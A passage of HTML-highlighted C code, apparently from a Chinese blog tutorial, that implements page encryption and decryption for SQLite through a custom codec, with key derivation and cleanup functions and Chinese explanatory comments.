class=\"comment\"\u003e这个函数好像是 sqlite 3.3.17前不久才加的,以前版本的sqlite里没有看到这个函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e这个函数我还没有搞清楚是做什么的,它里面什么都不做直接返回,对加解密没有影响\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e**/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_activate_see\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* right )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_key\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_rekey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e下面是上面的函数的辅助处理函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从用户提供的缓冲区中得到一个加密密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 用户提供的密钥可能位数上满足不了要求,使用这个函数来完成密钥扩展\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"title function_\"\u003eDeriveKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建或更新一个页的加密算法索引.此函数会申请缓冲区.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e LPCryptBlock \u003cspan class=\"title function_\"\u003eCreateCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey, Pager *pager, LPCryptBlock pExisting)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//加密/解密函数, 被pager调用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3Codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *data, Pgno nPageNum, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nMode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//设置密码函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_key_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 修改密码函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_rekey_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁一个加密块及相关的缓冲区,密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDestroyCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(LPCryptBlock pBlock)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3pager_get_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager *pPager)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_set_codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager *pPager,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *(*xCodec)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,Pgno,\u003cspan class=\"type\"\u003eint\u003c/span\u003e),\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pCodecArg    )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//加密/解密函数, 被pager调用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3Codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *data, Pgno nPageNum, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nMode)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock = (LPCryptBlock)pArg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e dwPageSize = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 确保pager的页长度和加密块的页长度相等.如果改变,就需要调整.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (nMode != \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     PgHdr *pageHeader;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pageHeader = DATA_TO_PGHDR(data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pageHeader-\u0026gt;pPager-\u0026gt;pageSize != pBlock-\u0026gt;PageSize)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          CreateCryptBlock(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, pageHeader-\u0026gt;pPager, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(nMode)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"comment\"\u003e// Undo a \u0026#34;case 7\u0026#34; journal file encryption\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//重载一个页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//载入一个页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_DeEncrypt_Func(data, dwPageSize, pBlock-\u0026gt;ReadKey, DB_KEY_LENGTH_BYTE );  \u003cspan class=\"comment\"\u003e/*调用我的解密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e6\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//加密一个主数据库文件的页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;WriteKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;Data + CRYPT_OFFSET, data, pBlock-\u0026gt;PageSize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     data = pBlock-\u0026gt;Data + CRYPT_OFFSET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_Encrypt_Func(data , dwPageSize, pBlock-\u0026gt;WriteKey, DB_KEY_LENGTH_BYTE ); \u003cspan class=\"comment\"\u003e/*调用我的加密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//加密事务文件的页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e/*在正常环境下, 读密钥和写密钥相同. 当数据库是被重新加密的,读密钥和写密钥未必相同.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     回滚事务必要用数据库文件的原始密钥写入.因此,当一次回滚被写入,总是用数据库的读密钥,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     这是为了保证与读取原始数据的密钥相同.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;Data + CRYPT_OFFSET, data, pBlock-\u0026gt;PageSize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     data = pBlock-\u0026gt;Data + CRYPT_OFFSET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_Encrypt_Func( data, dwPageSize, pBlock-\u0026gt;ReadKey, DB_KEY_LENGTH_BYTE ); \u003cspan class=\"comment\"\u003e/*调用我的加密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁一个加密块及相关的缓冲区,密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDestroyCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(LPCryptBlock pBlock)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁读密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;ReadKey){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;ReadKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//如果写密钥存在并且不等于读密钥,也销毁.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;WriteKey \u0026amp;\u0026amp; pBlock-\u0026gt;WriteKey != pBlock-\u0026gt;ReadKey){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;WriteKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pBlock-\u0026gt;Data){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;Data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//释放加密块.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqliteFree(pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3pager_get_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager *pPager)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (pPager-\u0026gt;xCodec) ? pPager-\u0026gt;pCodecArg: \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从用户提供的缓冲区中得到一个加密密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"title function_\"\u003eDeriveKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *  hKey = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( pKey == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e || nKeyLen == \u003cspan class=\"number\"\u003e0\u003c/span\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehKey = sqliteMalloc( DB_KEY_LENGTH_BYTE + \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( hKey == \u003cspan 